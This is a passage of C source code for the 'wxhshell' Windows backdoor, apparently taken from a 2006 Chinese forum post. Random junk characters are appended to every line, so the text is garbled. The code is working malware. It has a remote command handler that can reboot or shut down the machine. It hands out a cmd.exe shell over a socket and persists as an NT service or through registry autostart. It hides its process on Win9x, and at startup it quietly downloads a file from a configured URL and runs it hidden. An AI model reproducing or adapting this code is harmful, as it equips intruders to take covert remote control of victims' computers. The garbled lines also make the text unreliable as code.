  else { 5 7t.Ud  
Z/:F)c,x  
    switch(cmd[0]) { $+_1F`  
  11YJ W-V  
  // 帮助 [U8/nT  
  case '?': { * 4Ldh}S!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6% ofS8 [  
    break; ~59lkr8  
  } N0Y4m_dm*  
  // 安装 TH'8^wf  
  case 'i': { *d;TpwUI  
    if(Install()) VQ| {Q}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /\b* oPWJ  
    else lTP#6zqfv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }O>1tauI  
    break; !cYID \}S,  
    } Ec}%!p_$  
  // 卸载 pR93T+X  
  case 'r': { U|xHy+N  
    if(Uninstall()) ;'8Wl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k]5tU\;Yw  
    else qar{*>LCG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3CjixXaA$  
    break; D@gC(&U/6  
    } +cqUp6x.  
  // 显示 wxhshell 所在路径 T+&fUhSy  
  case 'p': { XLCqB|8`V  
    char svExeFile[MAX_PATH]; R|M]mwa^w  
    strcpy(svExeFile,"\n\r"); Y;_F,4H  
      strcat(svExeFile,ExeFile); Se'SDJl=  
        send(wsh,svExeFile,strlen(svExeFile),0); }7 +%k/  
    break; Ht(TYq  
    } 0VtjVz*C7&  
  // 重启 gM>?w{!LBx  
  case 'b': { anbw\yh8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GZu12\0nZ  
    if(Boot(REBOOT)) 8`urkEI^r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W j^@Zq#  
    else { LdG?kbJ&y  
    closesocket(wsh); %p )"_q!ge  
    ExitThread(0); 2SC-c `9)  
    } /X.zt `  
    break; [znN 'Fg:"  
    } 7)jN:+4N  
  // 关机 6384$mT,S  
  case 'd': { +5*bU1}O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (~N?kh:  
    if(Boot(SHUTDOWN)) 7WS$fUBi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >"b W'  
    else { By8SRWs  
    closesocket(wsh); ^rO"U[To  
    ExitThread(0); :cWU,V  
    } (FApkvy  
    break; \]f+{d- &  
    } }i"[5:  
  // 获取shell ial{A6X  
  case 's': { tUx H 6IS  
    CmdShell(wsh); 81:%Z&?vRl  
    closesocket(wsh); A)"L+Yu5  
    ExitThread(0); EGt 50  
    break; 3pvqF,"~D  
  } -`XS2  
  // 退出 dB6 ,pY(  
  case 'x': { Pb?vi<ug+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hxMRmH[f:  
    CloseIt(wsh); K*T^w3=  
    break; /}~=)QHH  
    } V/2NIh  
  // 离开 NJsaTBT  
  case 'q': { &"K_R(kN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Anyy  
    closesocket(wsh); Tph^o^  
    WSACleanup(); mA$y$73=T  
    exit(1); u:|^L]{  
    break; T{Xd>  
        } N? Jy  
  } v(yJGEf0  
  } \DujF>:  
H~s8M  
  // 提示信息 xA7~"q&u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >eG<N@13p  
} D(']k?  
  } ,3_Sf?  
\h=*pAf  
  return; hJ`Gu7  
} >"!ScYn  
yYJ_;Va  
// shell模块句柄 S=) c7t?a  
int CmdShell(SOCKET sock) 4xg)e` *U  
{ pTq DPU  
STARTUPINFO si; G1jj:]1  
ZeroMemory(&si,sizeof(si)); hH5~T5?\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :po6%}hn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P05`DX}r,  
PROCESS_INFORMATION ProcessInfo; 9qCE{ [(  
char cmdline[]="cmd"; rz_W]/G-P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1}la)lC  
  return 0; xgcJEox!  
} .kU^)H" l  
ow9a^|@a  
// 自身启动模式 f:+/= MW  
int StartFromService(void) _-({MX[3k<  
{ _x(hlHFk  
typedef struct 4@fv%LOQo  
{ WlQCPC  
  DWORD ExitStatus; -W^{)%4g  
  DWORD PebBaseAddress; ^7+;XUyg  
  DWORD AffinityMask; `$JvWN,kB  
  DWORD BasePriority; 7uc\AhOk6  
  ULONG UniqueProcessId; JS ^Cc  
  ULONG InheritedFromUniqueProcessId; "dIWHfQB  
}   PROCESS_BASIC_INFORMATION; J.h` 0$!  
}p6]az3  
PROCNTQSIP NtQueryInformationProcess; |#o' =whTl  
' F.^ 8/>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ygk_gBRiC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @Nsn0-B?ne  
bdstxjJ`  
  HANDLE             hProcess; bgBvzV&'8  
  PROCESS_BASIC_INFORMATION pbi; ,zx{RDI  
Rs"=o>Qu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d)-ZL*o  
  if(NULL == hInst ) return 0; $,by!w'e:l  
9Zl4NV&B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dT'}:2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i kfJ!f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jkj7ty.J  
I1>f2/$z*  
  if (!NtQueryInformationProcess) return 0; N}U+K  
H(.9tuA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ek<B=F  
  if(!hProcess) return 0; 79>x/jZka  
wicsf<]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K Ha,6X  
R4;1LZ8XzS  
  CloseHandle(hProcess); 1(Vv-bq$  
QDYuJ&!h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W'@G5e  
if(hProcess==NULL) return 0; s:6K'*  
ku m@cA  
HMODULE hMod; yT OZa-  
char procName[255]; DI8I'c-P  
unsigned long cbNeeded; l=XZBe*[g'  
A<c<!N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |GQq:MB;z  
ru`7iqcz  
  CloseHandle(hProcess); ;/+<N  
KB~[nZs7  
if(strstr(procName,"services")) return 1; // 以服务启动 yWZ_  
 )XonFI  
  return 0; // 注册表启动 m_Hg!Lg  
} KtAEM;g  
I52nQCXi  
// 主模块 b~fl,(sZp  
int StartWxhshell(LPSTR lpCmdLine) ^NU_Tp:2^  
{ a7_Q8iMe  
  SOCKET wsl; X_X7fRC0  
BOOL val=TRUE; (^B1Kt!<  
  int port=0; tBzE(vW  
  struct sockaddr_in door; Pn4.gabE  
L>/$l(  
  if(wscfg.ws_autoins) Install(); NaoOgZ?  
7<70\ 6  
port=atoi(lpCmdLine); OcF_x/#  
W!ug^2"  
if(port<=0) port=wscfg.ws_port; 2|ee`"`  
^-?^iWQ G  
  WSADATA data; Iw[zN[oz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Oq<3&*  
&0T7Uv-`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {@Lun6\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;ja~Q .}4  
  door.sin_family = AF_INET; BIMX2.S1o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a++gwl  
  door.sin_port = htons(port); p Cx_[#DrP  
#QlxEs#%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]{i0?c  
closesocket(wsl); @+~URIG)  
return 1; &0* l:uw  
} ![{/V,V]~  
2vUcSKG7  
  if(listen(wsl,2) == INVALID_SOCKET) { G@D8 [  
closesocket(wsl); ]D@aMC$#  
return 1; |a[" ^ 2  
} (@T{ [\  
  Wxhshell(wsl); u$nmnd`g  
  WSACleanup();  3k6Dbz  
yAGQD[ih  
return 0; H]V(qq{  
LmsPS.It  
} dXn$XGF%R  
1F0];{a  
// 以NT服务方式启动 b't6ekkN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xZq, kP^  
{ 6U|"d[  
DWORD   status = 0; uUBUUr  
  DWORD   specificError = 0xfffffff; "9c!p  
={h^X0<s9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xV`)?hEXFh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U;ujN8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'q/C: Yo  
  serviceStatus.dwWin32ExitCode     = 0; kMzDmgoxNg  
  serviceStatus.dwServiceSpecificExitCode = 0;  5B1,,8P  
  serviceStatus.dwCheckPoint       = 0; /HqD4GDoug  
  serviceStatus.dwWaitHint       = 0; [r]<~$  
9l&G2 o   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q.8^F  
  if (hServiceStatusHandle==0) return; &QH mo*  
1G(wESe  
status = GetLastError(); UK8k`;^KI  
  if (status!=NO_ERROR) "AWk jdj  
{ Pa; *%7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Sxy3cv53  
    serviceStatus.dwCheckPoint       = 0; "$"<AKCwS  
    serviceStatus.dwWaitHint       = 0; Z>NA 9:  
    serviceStatus.dwWin32ExitCode     = status; guy!/zQ>A  
    serviceStatus.dwServiceSpecificExitCode = specificError; f4X}F|!h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S]&i<V1qX  
    return; +tlbO?  
  } *D7oHwDU  
`Sj8IxO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0eCjK.   
  serviceStatus.dwCheckPoint       = 0; 3U?^49bJ  
  serviceStatus.dwWaitHint       = 0; 1mEW]z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9 771D  
} M9yqJPS}B  
q<fj1t1w  
// 处理NT服务事件,比如:启动、停止 `AdHyE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) brn>FFAwO  
{ Ki)hr%UFw  
switch(fdwControl) wp/x|AV  
{ fG7-0 7  
case SERVICE_CONTROL_STOP: 3bugVJ9 3  
  serviceStatus.dwWin32ExitCode = 0; A_6Dol=J@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0wETv  
  serviceStatus.dwCheckPoint   = 0; ?N%5c%oF  
  serviceStatus.dwWaitHint     = 0; t6+>Zr  
  { C|ou7g4'p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S7hfwu&7F  
  } 1T3YFt@&I  
  return; %cMayCaI!@  
case SERVICE_CONTROL_PAUSE: YGq-AB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AqrK==0N  
  break; rHtX4;f+><  
case SERVICE_CONTROL_CONTINUE: 'ka"0~:NS{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T~N877  
  break; *-_joAWTG  
case SERVICE_CONTROL_INTERROGATE: rmnnV[@o  
  break; ,!^w  
}; 7.v{=UP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h6Hop mWVx  
} ~/R}K g(  
'seuO!5  
// 标准应用程序主函数 ,PyPRPk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5z:/d`P[  
{ `JG7Pl/ih  
:&D$Q 4  
// 获取操作系统版本 {S5D~A*a+  
OsIsNt=GetOsVer(); i>rsq[l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n!XSB7d~X  
9\NP)Vm$^  
  // 从命令行安装 0EP8MRSR  
  if(strpbrk(lpCmdLine,"iI")) Install(); TsZX'Yn  
N_8L8ds5  
  // 下载执行文件 ]G2%VKkr  
if(wscfg.ws_downexe) { s}Sxl0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 12%4>2}~>  
  WinExec(wscfg.ws_filenam,SW_HIDE); /B9jmvj`  
} }=."X8zOI8  
\A3yM{G~+  
if(!OsIsNt) { 4?&CK  
// 如果时win9x,隐藏进程并且设置为注册表启动 vui{["  
HideProc(); nnO@$T  
StartWxhshell(lpCmdLine); fYv{M;  
} (wsvj61  
else \\~4$Ai[  
  if(StartFromService()) lf9_!`DGV  
  // 以服务方式启动 cYEe`?*  
  StartServiceCtrlDispatcher(DispatchTable); s97L/iH  
else }GTy{Y*&  
  // 普通方式启动 pNzGpCk  
  StartWxhshell(lpCmdLine); ) N"gW*  
|tS~\_O/  
return 0; ?`O Dt]s  
}
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只看该作者 1 发表于: 2006-10-10
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